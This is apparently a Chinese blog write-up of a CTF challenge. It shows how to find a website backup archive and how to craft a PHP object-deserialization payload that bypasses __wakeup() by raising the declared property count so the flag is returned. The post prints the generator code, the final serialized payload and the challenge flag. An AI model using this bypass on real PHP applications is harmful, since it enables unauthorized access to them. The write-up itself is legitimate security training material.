[极客大挑战 2019]PHP

[极客大挑战 2019]PHP

打开链接,提示有备份网站的习惯

image-20230821164500785

因此此时尝试访问一些常见的网站备份文件名,例如:

  • 常见网站源码备份文件后缀:

    tar.gz zip rar tar

  • 常见网站源码备份文件名:

    www wwwroot web back backup

最后发现输入www.zip可以获得网站的源码文件,解压之后发现如下文件

image-20230821165600225

首先先查看index.php文件,发现了如下关键代码

image-20230821165818234

该文件包含了class.php文件,并且对select变量进行了反序列化的操作,这里要注意一个知识点

  • 若反序列化的变量为对象,那么在构造对象之后,会去自动调用__wakeup()成员函数(若果存在该函数的话)

我们打开class.php进一步分析

代码如下:

<?php
include 'flag.php';

error_reporting(0);

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();         
        }
    }
}
?>

经分析得知,只有当对应实例的username === admin并且password == 100的时候才会显示flag,但是该类当中存在__wakeup()函数会将username的值更改掉,所以本体的关键就是绕过该函数

查询资料得知:

  • 当成员属性的数目大于实际数目的时候就可以绕过__wakeup()函数

所以我们现在要编写符合条件的对象,然后将其序列化,payload构造如下:

<?php
class Name{
	private $username = 'admin';
	private $password = '100';
}
$select = new Name();
$res = serialize(@$select);
echo $res
?>

得到结果如下:

O:4:"Name":2:{s:14:"口Name口username";s:6:"admine";s:14:"口Name口password";s:3:"100";}

将成员属性数量值2改为3,然后将“口”改为%00表示空格,最终的payload如下:

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

提交之后发现成功得到flag

image-20230821172841503

flag{0a351476-eb20-4ece-9cba-e0aab7937081}

posted @ 2023-08-27 19:07  h40vv3n  阅读(29)  评论(0编辑  收藏  举报